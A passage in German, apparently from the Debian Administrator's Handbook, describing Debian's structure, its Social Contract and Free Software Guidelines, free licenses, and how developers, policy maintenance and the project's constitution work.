Diese Bereiche sind in einem klar definierten Rahmen so angeordnet, dass eine problemlose Kompatibilität zwischen den verschiedenen „Sub-Distributionen“ gewährleistet ist. Sie alle folgen dem allgemeinen Zeitplan für die Veröffentlichung neuer Versionen. Und da sie auf derselben Grundlage aufbauen, können sie leicht mit Anwendungen aus den Debian-Depots erweitert, vervollständigt und personalisiert werden.

Alle Debian-Werkzeuge arbeiten in diese Richtung: debian-cd ermöglicht seit Langem die Erstellung eines CD-ROM-Sets mit ausschließlich vorausgewählten Paketen; debian-installer ist auch ein modulares Installationsprogramm, das einfach an besondere Bedürfnisse angepasst werden kann. APT installiert Pakete unterschiedlichen Ursprungs und stellt dabei den Gesamtzusammenhalt des Systems sicher.

HILFSPROGRAMM Eine Debian-CD-ROM/DVD/USB Image erstellen

debian-cd erstellt gebrauchsfertige und konfigurierbare ISO-Abbilder für Installationsmedien (CD,DVD,Blu-Ray,USB,etc). Alle Anliegen bezüglich dieser Software werden auf der Mailingliste <debian-cd@lists.debian.org> (auf Englisch) diskutiert. Das Team wird von Steve McIntyre geführt, der die offiziellen Debian ISO builds anfertigt.

Da debian-cd ein recht komplexes Hilfsprogramm geworden ist, beinhaltet das simple-cdd Package eine Schnitstelle um leicht bedarfsgerechte Installations Medien zu erstellen.

ZURÜCK ZU DEN GRUNDLAGEN Jedem Rechner seine Architektur

Der Begriff „Architektur“ bezeichnet einen Computertyp (die bekanntesten sind Mac und PC). Jede Architektur unterscheidet sich hauptsächlich durch ihren Prozessor, der zu anderen Prozessoren normalerweise nicht kompatibel ist. Diese Unterschiede in der Hardware bringen verschiedene Betriebsweisen mit sich und machen es daher erforderlich, dass Software für jede Architektur eigens kompiliert wird.

Die meisten der in Debian vorhandenen Programme sind in portablen Programmiersprachen geschrieben: Derselbe Quellcode kann auf verschiedene Architekturen kompiliert werden. Dagegen wird eine ausführbare Binärdatei, die immer für eine bestimmte Architektur kompiliert ist, normalerweise auf keiner der anderen Architekturen laufen.

Erinnern Sie sich daran, dass jedes Programm durch das Schreiben von Quellcode erstellt wird. Dieser Quellcode ist eine Textdatei, die aus Anweisungen in einer bestimmten Programmiersprache besteht. Bevor Sie diese Software verwenden können, muss der Quellcode kompiliert werden. Das bedeutet, dass der Code in eine Binärdatei (eine Folge von maschinenlesbaren Befehlen, die der Prozessor ausführen kann) umgewandelt wird. Jede Programmiersprache hat einen bestimmten Compiler, der diese Operation ausführt (zum Beispiel gcc für die Programmiersprache C).

HILFSPROGRAMM Installationsprogramm

debian-installer ist der Name des Debian-Installationsprogramms. Durch sein modulares Design ist es möglich, ihn in einem weiten Bereich von Installationsszenarien einzusetzen. Die Arbeit an seiner Entwicklung wird auf der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Cyril Brulebois koordiniert.

1.1.2. Die Qualität freier Software

Debian befolgt alle Prinzipien freier Software, und seine neuen Versionen werden erst veröffentlicht, wenn sie fertig sind. Entwickler arbeiten nicht nach einem vorgegebenen Zeitplan und müssen keinen willkürlich gesetzten Fertigstellungstermin einhalten. Oft beschweren sich Leute über den langen Zeitraum zwischen Debians stabilen Releases, aber diese Sorgfalt gewährleistet auch dessen legendäre Zuverlässigkeit: In der Tat sind monatelange Überprüfungen erforderlich, bevor die vollständige Distribution das Etikett „stabil“ erhält.

Debian geht bei der Qualität keine Kompromisse ein: Alle bekannten kritischen Fehler in Schlüsselpaketen werden in jeder neuen Version behoben, auch wenn hierdurch der ursprünglich angekündigte Veröffentlichungstermin verschoben werden muss. Optionale Pakete, deren kritische Fehler nicht behoben sind und somit nicht den Qualitätsanforderungen entsprechen, werden einfach aus dem stabilen Release entfernt.

1.1.3. Der rechtliche Rahmen: eine gemeinnützige Organisation

Rechtlich gesehen ist Debian ein Projekt, das von einer amerikanischen gemeinnützigen Freiwilligenvereinigung verwaltet wird. Das Projekt hat etwa tausend Debian-Entwickler, vereinigt aber eine weit größere Anzahl von Mitwirkenden (Übersetzer, Bug-Reporter, Künstler, Gelegenheitsprogrammierer usw.).

Um seinen Auftrag verwirklichen zu können, verfügt Debian über eine große Infrastruktur mit vielen über das Internet verbundenen Servern, die von zahlreichen Sponsoren zur Verfügung gestellt und gehostet werden.

GEMEINSCHAFT Hinter Debian: die SPI-Vereinigung und lokale Außenstellen

Debian selbst besitzt keine Server, da es nur ein Projekt innerhalb der Software in the Public Interest Organisation (SPI) ist, die sich um die Verwaltung der Hardware und um finanzielle Fragen (Spenden, Anschaffung von Hardware usw.) kümmert. Obwohl sie ursprünglich eigens für das Debian-Projekt gegründet worden war, ist diese Organisation inzwischen auch an anderen Freie-Software-Projekten beteiligt, insbesondere der PostgreSQL-Datenbank, an Freedesktop.org, einem Projekt zur Standardisierung verschiedener Teile moderner grafischer Arbeitsumgebungen (wie zum Beispiel GNOME und KDE Plasma) und dem Büropaket LibreOffice.

→ http://www.spi-inc.org/

Neben SPI arbeiten auch diverse lokale Vereinigungen eng mit Debian zusammen, um Geldmittel bereitzustellen, ohne dabei alles in den USA zu zentralisieren. Diese heissen im Debian Jargon “Trusted Organizations”. Mit dieser Struktur werden unerschwingliche Kosten für internationale Überweisungen vermieden, und sie passt gut zum dezentralen Charakter des Projekts.

Scheuen Sie sich nicht, Ihrer lokalen Gemeinschaft beizutreten und das Projekt zu unterstützen!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Die Gründungsurkunde

Einige Jahre nach seinem ursprünglichen Start formulierte Debian die Prinzipien, denen es als Projekt für freie Software folgen wollte. Dieser wohlüberlegte Schritt ermöglicht geordnetes und friedliches Wachstum, indem er sicherstellt, dass sich alle Mitglieder in dieselbe Richtung bewegen. Um Debian-Entwickler zu werden, muss jeder Kandidat die Unterstützung und die Einhaltung der in den Grundlagendokumenten des Projekts festgelegten Prinzipien bestätigen und nachweisen.

Der Entwicklungsprozess wird ständig diskutiert, aber diese Grundlagendokumente erfahren breite und einvernehmliche Unterstützung und ändern sich daher nur selten. Die Debian-Verfassung bietet eine weitere Gewähr für seine Stabilität: Eine qualifizierte Dreiviertelmehrheit ist erforderlich, um eine Änderung zu genehmigen.

1.2.1. Die Verpflichtung gegenüber den Benutzern

Das Projekt verfügt auch über einen „Gesellschaftsvertrag“. Was hat ein solcher Vertrag in einem Projekt zu suchen, das nur dazu gedacht ist, ein Betriebssystem zu entwickeln? Ganz einfach: Debian arbeitet für seine Benutzer und damit auch für die Gesellschaft. Dieser Vertrag fasst die Verpflichtungen zusammen, die das Projekt eingeht. Lassen Sie sie uns näher betrachten:

Debian wird zu 100% frei bleiben.

Dies ist die wichtigste Regel. Debian besteht und wird weiterhin vollständig und ausschließlich aus freier Software bestehen. Zusätzlich wird auch alle Softwareentwicklung innerhalb des Debian-Projekts selbst frei sein.

AUSBLICK Über die Software hinaus

In der ersten Version des Debian-Gesellschaftsvertrags hieß es: „Debian wird zu 100% freie Software bleiben.“ Das Verschwinden dieses letzten Wortes (mit Verabschiedung der Version 1.1 des Vertrages im April 2004) lässt die Absicht erkennen, Freiheit nicht nur bei der Software zu erreichen, sondern auch bei der Dokumentation und allen anderen Bestandteilen, die Debian innerhalb seines Betriebssystems zur Verfügung stellen möchte.

Diese Änderung, die nur als redaktionell gedacht war, hatte tatsächlich zahlreiche Konsequenzen, insbesondere die Entfernung einiger problematischer Dokumentationen. Darüber hinaus führt die steigende Verwendung von Firmware in Treibern zu Problemen: Obwohl viele nicht frei sind, sind sie für die ordnungsgemäße Funktion der entsprechenden Hardware notwendig.

Wir werden der Gemeinschaft, die freie Software entwickelt, etwas zurückgeben.

Jede vom Debian-Projekt eingebrachte Verbesserung eines in der Distribution enthaltenen Werkes wird seinem Autor zurückgesendet (dies wird „upstream“ genannt; übersetzt etwa „stromaufwärts“). Überhaupt arbeitet Debian mit der Gemeinschaft zusammen und nicht isoliert.

GEMEINSCHAFT Upstream-Autor oder Debian-Entwickler?

Der Begriff „Upstream-Autor“ bezeichnet den Autor/Entwickler eines Werkes, also denjenigen, der das Werk erstellt und weiterentwickelt. Demgegenüber arbeitet ein „Debian-Entwickler“ zumeist mit einem bestehenden Werk, um es zu einem Debian-Paket zu machen. Der Begriff „Debian-Betreuer“ passt hier besser.

In der Praxis kann es Überlappungen zwischen diesen Rollen geben: Der Debian-Betreuer kann einen Patch schreiben, von dem alle Nutzer des Werkes profitieren. Debian ermutigt generell alle Debian-Paketverantwortlichen, auch an der Upstream-Entwicklung mitzuarbeiten. Sie werden in diesem Fall zu „Mitwirkenden“ (contributors), ohne auf die Rolle von einfachen Programmnutzern beschränkt zu sein. Oder der Debian-Entwickler erstellt Tools oder Dokumentation für die Debian-Distribution, wie Paketierungshilfen (z. B. debhelper) oder Integrations-Frameworks (z. B. ca-certificates) und wird ein „Upstream-Autor“ für diese Werke.

Wir werden Probleme nicht verbergen.

Debian ist nicht perfekt, es wird jeden Tag neue Probleme geben, die es zu lösen gilt. Debian wird seine Fehlerdatenbank für alle Zeiten öffentlich betreiben. Fehlermeldungen, die von Personen online abgeschickt werden, werden unverzüglich für andere sichtbar.

Unsere Prioritäten sind unsere Anwender und freie Software.

Diese Verpflichtung ist schwieriger zu erklären. Debian führt damit bei Entscheidungen, die gefällt werden müssen, eine bestimmte Einseitigkeit ein, nämlich eine für die Entwickler einfache Lösung zurückzuweisen, die die Benutzerfreundlichkeit gefährdet, und sich stattdessen für eine elegantere Lösung zu entscheiden, selbst wenn diese schwieriger umzusetzen ist. Dies bedeutet, dass vorrangig die Interessen der Anwender und der freien Software berücksichtigt werden.

Arbeiten, die nicht unseren Standards für freie Software genügen.

Debian akzeptiert und versteht, dass Anwender unfreie Programme nutzen können möchten. Deshalb erlaubt das Projekt ihnen die Nutzung von Teilen seiner Infrastruktur, um auch nicht freie Software sicher als Debian-Paket verteilen zu können.

GEMEINSCHAFT Für oder gegen den unfreien Bereich?

Die Zusage, eine Struktur zur Unterbringung unfreier Software zu unterhalten (nämlich im Bereich "non-free”, siehe Seitenleiste WÖRTERVERZEICHNIS Die main, contrib und non-free Archive) ist in der Debian-Gemeinschaft immer wieder Diskussionsthema.

Gegner argumentieren, dass dieser Bereich die Leute von Freie-Software-Entsprechungen abbringt und dass er dem Prinzip, nur der Sache der freien Software zu dienen, widerspricht. Befürworter erklären rundweg, dass die meisten unfreien Pakete „fast frei“ sind und nur wegen ein oder zwei lästiger Einschränkungen nicht aufgenommen werden (wobei die häufigste das Verbot der kommerziellen Nutzung der Software ist). Durch das Verbreiten dieser Werke im nicht freien Zweig zeigen wir dem Autor indirekt, dass sein Werk bekannter und häufiger genutzt würde, wenn es in den Hauptzweig aufgenommen werden könnte. Er wird so freundlich eingeladen, seine Lizenz zu diesem Zweck zu ändern.

Nach einem ersten, fehlgeschlagenen Versuch im Jahre 2004 erschien die vollständige Entfernung des unfreien Bereichs mehrere Jahre lang nicht mehr auf der Tagesordnung, zumal er zahlreiche nützliche Dokumente enthält, die nur deshalb hierhin verlegt worden waren, weil sie die neuen Bedingungen für den Hauptteil (main section) nicht erfüllten. Dies trifft vor allem auf bestimmte vom GNU-Projekt herausgegebene Programmdokumentationsdateien zu (insbesondere Emacs und Make). Viele moderne Systeme benötigen zusätzlich so genannte "Firmware", kleine Binaries, die notwendig sind, damit eine bestimmte Hardware läuft. Viele dieser Dateien können nur im Bereich "Non-Free" gefunden werden.

Das Beibehalten des unfreien Zweigs stört vor allem die Free Software Foundation. Deshalb weigert sie sich, Debian als Betriebssystem offiziell zu empfehlen.

1.2.2. Die Debian-Richtlinien für freie Software

Dieses Referenzdokument legt fest, welche Software „frei genug“ ist, dass sie in Debian aufgenommen werden kann. Steht die Lizenz eines Programms in Einklang mit diesen Prinzipien, kann es in den Hauptzwieg übernommen werden. Andernfalls, und vorausgesetzt, dass seine freie Verbreitung erlaubt ist, ist es möglicherweise im unfreien Bereich zu finden. Der unfreie Bereich ist kein offizieller Teil von Debian, sondern ein Service, der den Anwendern zusätzlich angeboten wird. Eine tiefergehende Erläuterung der unterschiedlichen Teile des Debian-Archivs findet sich unter WÖRTERVERZEICHNIS Die main, contrib und non-free Archive

Dieser Text ist nicht nur ein Auswahlkriterium für Debian, sondern ist zu einer Autorität in Sachen freier Software geworden und hat als Grundlage für die „Open Source“-Definition gedient. Historisch gesehen ist er eine der ersten formalen Definitionen des Konzepts der „freien Software“.

Die GNU General Public License, die BSD-Lizenz und die Artistic License sind Beispiele traditioneller freier Lizenzen, die die in diesem Text aufgeführten neun Punkte beachten. Im Folgenden ist der Text wiedergegeben, wie er auf der Debian-Website veröffentlicht wurde.

→ https://www.debian.org/social_contract.html#guidelines

Unbeschränkte Weitergabe.  Ein Bestandteil der Debian-Distribution darf durch seine Lizenz nicht verhindern, dass irgendjemand diese Software als Bestandteil einer Softwaredistribution, die Programme aus den verschiedensten Quellen enthält, verkauft oder weitergibt. Die Lizenz darf keine Abgaben oder sonstigen Leistungen für einen solchen Verkauf fordern.

Quellcode.  Das Programm muss im Quellcode vorliegen, und es muss die Weitergabe sowohl im Quellcode als auch in kompilierter Form erlaubt sein.

Weiterführende Arbeiten.  Die Lizenz muss Veränderungen und weiterführende Arbeiten gestatten und es erlauben, dass diese unter den gleichen Lizenzbedingungen weitergegeben werden dürfen wie die Original-Software.

Integrität des ursprünglichen Quellcodes.  Die Lizenz darf die Weitergabe von verändertem Quellcode nur dann verbieten, wenn sie die Weitergabe von sogenannten „Patch-Dateien“ mit dem Quellcode erlaubt, die dazu dienen, das Programm vor seiner Herstellung zu modifizieren. Die Lizenz muss ausdrücklich die Weitergabe der aus dem veränderten Quellcode erzeugten Programme erlauben. Die Lizenz darf fordern, dass die veränderten Programme einen anderen Namen oder eine andere Versionsnummer tragen müssen. (Dies ist ein Kompromiss. Die Debian-Gruppe ermutigt alle Autoren, Veränderungen an Dateien sowohl im Quellcode als auch in Binärform zuzulassen).

Keine Diskriminierung von Personen oder Gruppen.  Die Lizenz darf keine Person oder Gruppe von Personen diskriminieren.

Keine Diskriminierung von Einsatzbereichen.  Die Lizenz darf keine Einschränkungen hinsichtlich des Einsatzbereichs vornehmen. Beispielsweise darf sie nicht verhindern, dass das Programm geschäftlich oder für genetische Forschungen verwendet wird.

Weitergabe der Lizenz.  Die mit einem Programm verbundenen Rechte müssen für alle gelten, die das Programm erhalten, ohne dass es für sie notwendig ist, eine zusätzliche Lizenz zu erwerben.

Keine spezielle Lizenz für Debian.  Die mit dem Programm verbundenen Rechte dürfen nicht davon abhängig sein, dass das Programm Teil des Debian-Systems ist. Falls das Programm aus der Debian-Distribution herausgenommen wird und ohne Debian genutzt oder vertrieben werden soll, ansonsten aber im Rahmen der Programmlizenz bleibt, so müssen alle Parteien, die das Programm bekommen, die gleichen Rechte haben, wie sie im Zusammenhang mit dem Debian-System gewährt wurden.

Keine Auswirkungen auf andere Programme.  Die Lizenz darf keine Beschränkungen enthalten, die Auswirkungen auf andere Software hat, die mit diesem Programm weitergegeben wird. Beispielsweise darf die Lizenz nicht vorschreiben, dass alle anderen Programme auf dem gleichen Medium freie Software sein müssen.

ZURÜCK ZU DEN GRUNDLAGEN Copyleft

Copyleft ist ein Grundsatz, der darin besteht, Urheberrechte zur Gewährleistung der Freiheit eines Werkes und seiner Derivate zu verwenden, statt die Nutzungsrechte zu beschränken, wie es bei proprietärer Software der Fall ist. Es ist auch ein Wortspiel mit dem Begriff „Copyright“. Richard Stallman kam auf diese Idee, als ein Freund, der Wortspiele liebt, auf einen an ihn adressierten Umschlag „Copyleft: all rights reversed“ schrieb. Copyleft erzwingt die Bewahrung aller ursprünglichen Freiheiten bei der Verbreitung einer originären oder modifizierten Version eines Werkes (üblicherweise ein Programm). So ist es nicht möglich, ein Programm als proprietäre Software zu vertreiben, wenn es von Code eines unter Copyleft veröffentlichten Programms abgeleitet ist.

Eine der bekanntesten Familien von Copyleft-Lizenzen ist natürlich die GNU General Public License (GPL) und deren Ableger, die GNU Lesser General Public License (LGPL) und die GNU Free Documentation License (GFDL). Leider sind die Copyleft-Lizenzen untereinander nicht kompatibel. Deshalb ist es am besten, nur eine von ihnen zu verwenden.

Beispiellizenzen.  Die Lizenzen "GPL", "BSD" und "Artistic" sind Beispiele für Lizenzen, die wir für "frei" halten.

ZURÜCK ZU DEN GRUNDLAGEN Freie Lizenzen

Die GNU GPL, die BSD-Lizenz und die Artistic License entsprechen alle den Debian-Richtlinien für freie Software, obwohl sie alle sehr unterschiedlich sind.

Die von der FSF (Free Software Foundation) verwendete und geförderte GNU GPL ist die gebräuchlichste. Ihr wesentliches Merkmal ist, dass sie genau so für jedes abgeleitete Werk gilt, das weiterverbreitet wird: ein Programm, das GPL-Code enthält oder nutzt, darf nur in Übereinstimmung mit ihren Bestimmungen verbreitet werden. So verbietet sie jegliche Wiederverwendung in einer proprietären Anwendung. Dies stellt ernste Probleme für die Wiederverwendung von GPL-Code in freier Software dar, die mit dieser Lizenz nicht kompatibel ist. Von daher ist es manchmal nicht möglich, ein Programm, das unter einer anderen Freie-Software-Lizenz veröffentlicht ist, mit einer unter der GPL verbreiteten Bibliothek zu verbinden. Andererseits ist diese Lizenz nach amerikanischem Recht sehr stabil: Rechtsanwälte der FSF waren an ihrem Entwurf beteiligt und haben Lizenzverletzer häufig zu einem gütlichen Vergleich mit der FSF gezwungen, ohne vor Gericht zu gehen.

→ https://www.gnu.org/licenses/gpl-3.0.de.html

Die BSD-Lizenz ist die am wenigsten einschränkende: Alles ist erlaubt, einschließlich der Verwendung modifizierten BSD-Codes in einer proprietären Anwendung.

→ https://www.opensource.org/licenses/bsd-license.php

Schließlich stellt die Artistic License einen Kompromiss zwischen den anderen beiden dar: Einbeziehung von Code in einer proprietären Anwendung ist erlaubt, jedoch muss jegliche Veränderung offengelegt werden.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Der vollständige Text dieser Lizenzen steht auf jedem Debian-System unter /usr/share/common-licenses/ zur Verfügung (im Falle von BSD die neuere 3-Klausel-Lizenz).

GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter

Bruce Perens war der zweite Leiter des Debian-Projekts direkt nach Ian Murdock. Wegen seiner dynamischen und autoritären Methoden war er sehr umstritten. Dennoch bleibt er ein wichtiger Unterstützer des Projekts, dem Debian insbesondere für das Editieren der bekannten „Debian-Richtlinien für freie Software“ zu Dank verpflichtet ist, einer ursprünglich auf Ean Schuessler zurückgehenden Idee. Anschließend leitete Bruce daraus die bekannte „Open-Source-Definition“ ab, bei der er alle Verweise auf Debian entfernte.

→ https://www.opensource.org/

Sein Ausscheiden aus dem Projekt verlief recht emotional, aber Bruce blieb Debian eng verbunden, indem er weiterhin in politischen und wirtschaftlichen Kreisen für diese Distribution warb. Er taucht auch noch sporadisch in den Mailing-Listen auf, um Ratschläge zu geben und seine jüngsten Initiativen zugunsten von Debian vorzustellen.

Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor's child who always broke toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. Das Innenleben des Debian-Projekts

Die reichlichen vom Debian-Projekt erzielten Endergebnisse entstehen zu gleichen Teilen aus der von erfahrenen Debian-Entwicklern geleisteten Arbeit an der Infrastruktur, aus individueller und gemeinsamer Entwicklungsarbeit an Debian-Paketen wie auch aus Rückmeldungen der Anwender.

1.3.1. Die Debian-Entwickler

Debian-Entwickler haben verschiedene Aufgaben und als offizielle Projektmitglieder haben sie großen Einfluss auf die Richtung, die das Projekt einschlägt. Ein Debian-Entwickler ist üblicherweise für mindestens ein Paket zuständig, kann sich aber je nach Wunsch und verfügbarer Zeit an mehreren Teams und Projekten beteiligen und so größere Verantwortung innerhalb des Projekts übernehmen.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

HILFSPROGRAMM Entwicklerdatenbank

Debian verfügt über eine Datenbank, die alle beim Projekt registrierten Entwickler und ihre dazugehörigen Daten enthält (Anschrift, Telefonnummer, geografische Koordinaten wie Längen- und Breitengrad usw.). Einige der Informationen (Vor- und Zuname, Land, Benutzername beim Projekt, IRC-Benutzername, GnuPG-Schlüssel, usw.) sind öffentlich und im Internet zugänglich.

→ https://db.debian.org/

Die geografischen Koordinaten ermöglichen es, eine Karte zu erstellen, die die Standorte aller Entwickler rund um den Globus anzeigt. Debian ist wahrhaft ein internationales Projekt: Seine Entwickler sind auf allen Kontinenten zu finden, auch wenn die Mehrheit im Westen angesiedelt ist.

Abbildung 1.1. Weltweite Verteilung der Debian-Entwickler

Paketbetreuung ist eine recht straff organisierte Arbeit, sehr stark dokumentiert oder gar reglementiert. Sie muss mit wirklich allen in den Debian-Richtlinien festgelegten Standards übereinstimmen. Zum Glück gibt es zahlreiche Hilfsprogramme, die die Arbeit eines Betreuers erleichtern. So kann sich der Entwickler auf die Besonderheiten seines Pakets und auf komplexere Aufgaben wie die Fehlerbeseitigung konzentrieren.

→ https://www.debian.org/doc/debian-policy/

ZURÜCK ZU DEN GRUNDLAGEN Paketbetreuung, die Arbeit eines Entwicklers

Ein Paket zu betreuen, besteht zunächst einmal darin, eine Software zu „paketieren“. Dies bedeutet insbesondere, die Installationsweise festzulegen, sodass die Software nach der Installation funktioniert und die Regeln, die sich das Debian-Projekt gegeben hat, einhält. Das Ergebnis dieser Arbeit wird in Form einer .deb-Datei abgespeichert. Das tatsächliche Installieren des Programms erfordert dann nur noch das Entpacken dieses komprimierten Archivs und die Ausführung einiger darin enthaltener Vor- und Nachinstallationsskripte.

Nach diesem ersten Schritt beginnt die Betreuung erst richtig: Aktualisierungen bereitstellen, um der jüngsten Version der Debian-Richtlinien nachzukommen, von Anwendern gemeldete Fehler beheben, eine neue Ursprungsversion des Programms aufnehmen, dessen Enwicklung natürlich gleichzeitig weitergeht. Zum Beispiel stand ein Programm zum Zeitpunkt der ursprünglichen Paketierung in Version 1.2.3. bereit. Nach einigen Monaten der Entwicklung veröffentlichen die ursprünglichen Verfasser eine neue stabile Version mit der Versionsnummer 1.4.0. Zu diesem Zeitpunkt sollte der Debian-Betreuer das Paket aktualisieren, sodass Anwender die Verbesserungen der letzten stabilen Version nutzen können.

Die Richtlinien, ein wesentliches Element des Debian-Projekts, legen die Normen fest, die sowohl die Qualität der Pakete sicherstellen als auch die Interoperabilität der Distribution vervollkommnen. Dank dieser Richtlinien bleibt Debian trotz seiner gewaltigen Größe konsistent. Sie sind nicht in Stein gehauen, sondern entwickeln sich aufgrund von Vorschlägen, die in der Mailingliste <debian-policy@lists.debian.org> gemacht werden, ständig weiter. Änderungen, denen alle Betroffenen zustimmen, werden von einer kleinen Gruppe von Betreuern, die keine redaktionelle Zuständigkeit haben, entgegengenommen und in den Text eingearbeitet. (Sie nehmen nur die Veränderungen auf, auf die sich die Debian-Entwickler, die Mitglied der oben genannten Liste sind, geeinigt haben.) Sie können die aktuellen Veränderungsvorschläge im Fehlerverfolgungssystem nachlesen:

→ https://bugs.debian.org/debian-policy

GEMEINSCHAFT Überarbeitung der Richtlinien

Jeder kann eine Änderung der Debian-Richtlinien vorschlagen, indem er einen Fehlerbericht mit der Einstufung „wishlist“ für das Paket debian-policy einreicht. Der dann einsetzende Prozess ist in https://www.debian.org/doc/debian-policy/ap-process.html dokumentiert: Falls anerkannt wird, dass zur Lösung des Problems eine neue Regel in die Debian-Richtlinien eingeführt werden muss, beginnt eine Diskussion hierüber in der Mailingliste <debian-policy@lists.debian.org>, die fortdauert, bis Übereinstimmung erzielt und ein Vorschlag erstellt ist. Jemand formuliert dann eine gewünschte Änderung und reicht sie zur Genehmigung ein (in Form eines zu begutachtenden Patches). Sobald zwei weitere Entwickler bestätigen, dass die vorgeschlagene Änderung dem in der vorhergehenden Diskussion erzielten Konsens entspricht (sie „sekundieren“), kann der Vorschlag von einem der Betreuer des Pakets debian-policy in das offizielle Dokument aufgenommen werden. Falls dieser Prozess bei einem dieser Abschnitte scheitert, schließen die Betreuer diesen Fehlerbericht und stufen den Vorschlag als abgelehnt ein.

DEBIAN-RICHTLINIEN Die Dokumentation

Die Dokumentation jedes Pakets ist unter /usr/share/doc/paket/ gespeichert. Dieses Verzeichnis enthält häufig eine README.Debian-Datei, die die vom Paketbetreuer vorgenommenen Debian-spezifischen Anpassungen beschreibt. Es ist daher ratsam, diese Datei vor einer etwaigen Konfigurierung zu lesen, um so seine Erfahrungen zu nutzen. Es findet sich hier auch eine changelog.Debian.gz-Datei, die die vom Debian-Betreuer von einer Version zur nächsten vorgenommenen Änderungen darlegt. Diese Datei ist nicht zu verwechseln mit der changelog.gz-Datei, die die von den ursprünglichen Entwicklern vorgenommenen Änderungen erläutert. Die copyright-Datei enthält Informationen über die Autoren und über die Lizenz, unter der die Software steht. Schließlich kann es auch noch eine NEWS.Debian.gz-Datei geben, die es dem Debian-Entwickler ermöglicht, wichtige Aktualisierungsinformationen mitzuteilen; wenn man apt-listchanges installiert, zeigt apt diese Mitteilungen automatisch an. Alle übrigen Dateien sind für die jeweilige Software spezifisch. Wir möchten besonders auf das Unterverzeichnis examples hinweisen, das häufig Beispielkonfigurationsdateien enthält.

Die Richtlinien decken die technischen Aspekte des Paketierens sehr gut ab. Aus der Größe des Projekts ergeben sich jedoch auch organisatorische Probleme; mit diesen beschäftigt sich die Debian-Verfassung, die eine Struktur und ein Verfahren für die Entscheidungsfindung festlegt. Mit anderen Worten, ein formales System für das Projektmanagement.

Diese Verfassung definiert eine bestimmte Anzahl von Rollen und Positionen sowie für jede die Verantwortlichkeiten und Befugnisse. Es ist insbesondere beachtenswert, dass Debian-Entwickler stets eine abschließende Entscheidungsbefugnis durch einen allgemeinen Beschluss haben, bei dem eine qualifizierte Mehrheit von drei Vierteln (75%) der Stimmen erforderlich ist, um wesentliche Änderungen vorzunehmen (wie zum Beispiel solche mit Auswirkung auf die Grundlagendokumente). Indes wählen die Entwickler jedes Jahr einen „Leiter“, der sie in Sitzungen repräsentiert und der die interne Koordination zwischen den verschiedenen Teams sicherstellt. Diese Wahl ist immer eine Zeit erbitterter Diskussionen. Die Rolle dieses Debian-Projekt-Leiters (DPL ist in keinem Dokument ausdrücklich definiert: Kandidaten für diese Stelle schlagen gewöhnlich ihre eigene Definition dieser Position vor. In der Praxis bestehen die Rollen des Leiters unter anderem darin, gegenüber den Medien als Repräsentant aufzutreten, „interne“ Teams zu koordinieren und dem Projekt allgemeine Orientierungshilfen anzubieten, auf die sich die Entwickler beziehen können: Die Ansichten des DPL werden stillschweigend von der Mehrheit der Projektmitglieder anerkannt.

Im Besonderen haben die Leiter wirkliche Autorität; Ihre Stimme entscheidet bei Stimmengleichheit; sie können jede Entscheidung treffen, die nicht bereits unter die Zuständigkeit eines anderen fällt, und sie können ihre Verpflichtungen teilweise delegieren.

Seit seiner Gründung wurde das Projekt der Reihe nach von Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman und Jonathan Carter geleitet.

Die Verfassung sieht auch ein „technisches Komitee“ vor. Die wesentliche Rolle dieses Komitees besteht darin, in technischen Fragen zu entscheiden, wenn die beteiligten Entwickler untereinander kein Einvernehmen erzielt haben. Daneben spielt dieser Ausschuss eine beratende Rolle für jeden Entwickler, der eine Entscheidung, für die er verantwortlich ist, nicht trifft. Man sollte beachten, dass das Komitee sich erst dann einmischt, wenn es hierzu von einer der beteiligten Parteien aufgefordert wird.

Schließlich bestimmt die Verfassung die Position eines „Projekt-Schriftführers“, dessen Aufgabe darin besteht, die Abstimmungen im Zusammenhang mit den verschiedenen Wahlen und allgemeinen Beschlüssen zu organisieren.

Das Verfahren der "allgemeinen Beschlussfassung" (GR) ist in der Verfassung vollständig beschrieben, von der ersten Diskussionsperiode bis zur endgültigen Stimmenauszählung. Der interessanteste Aspekt dieses Prozesses ist, dass Entwickler, wenn es um die tatsächliche Abstimmung geht, die verschiedenen Wahlmöglichkeiten zwischen ihnen einstufen müssen und der Gewinner mit der Condorcet-Methode (genauer gesagt der Schulze-Methode) ausgewählt wird. Weitere Informationen finden Sie unter:

→ https://www.debian.org/devel/constitution

Kultur Flame-War, eine Diskussion, die Feuer fängt

Ein „Flame-War“ ist eine äußerst leidenschaftliche Debatte, die häufig damit endet, dass Teilnehmer sich gegenseitig beschimpfen, nachdem auf beiden Seiten alle vernünftigen Argumente erschöpft sind. Bestimmte Themen sind häufiger Polemiken ausgesetzt als andere (der jeweils bevorzugte Text-Editor - „Bevorzugen Sie vi oder emacs?“ - ist ein häufiger Kandidat). Die Themen lösen oft einen sehr schnellen E-Mail-Austausch aus, allein schon aufgrund der grossen Anzahl an Leuten mit einer Meinung zu dem Thema (jeder) und des sehr persönlichen Charakters solcher Fragestellungen.

Normalerweise ergibt sich nichts wirklich Nützliches aus solchen Diskussionen; die grundsätzliche Empfehlung lautet: halten Sie sich aus solchen Debatten heraus und überfliegen Sie allenfalls ihren Inhalt, es wäre Zeitverschwendung, sie vollständig durchzulesen.

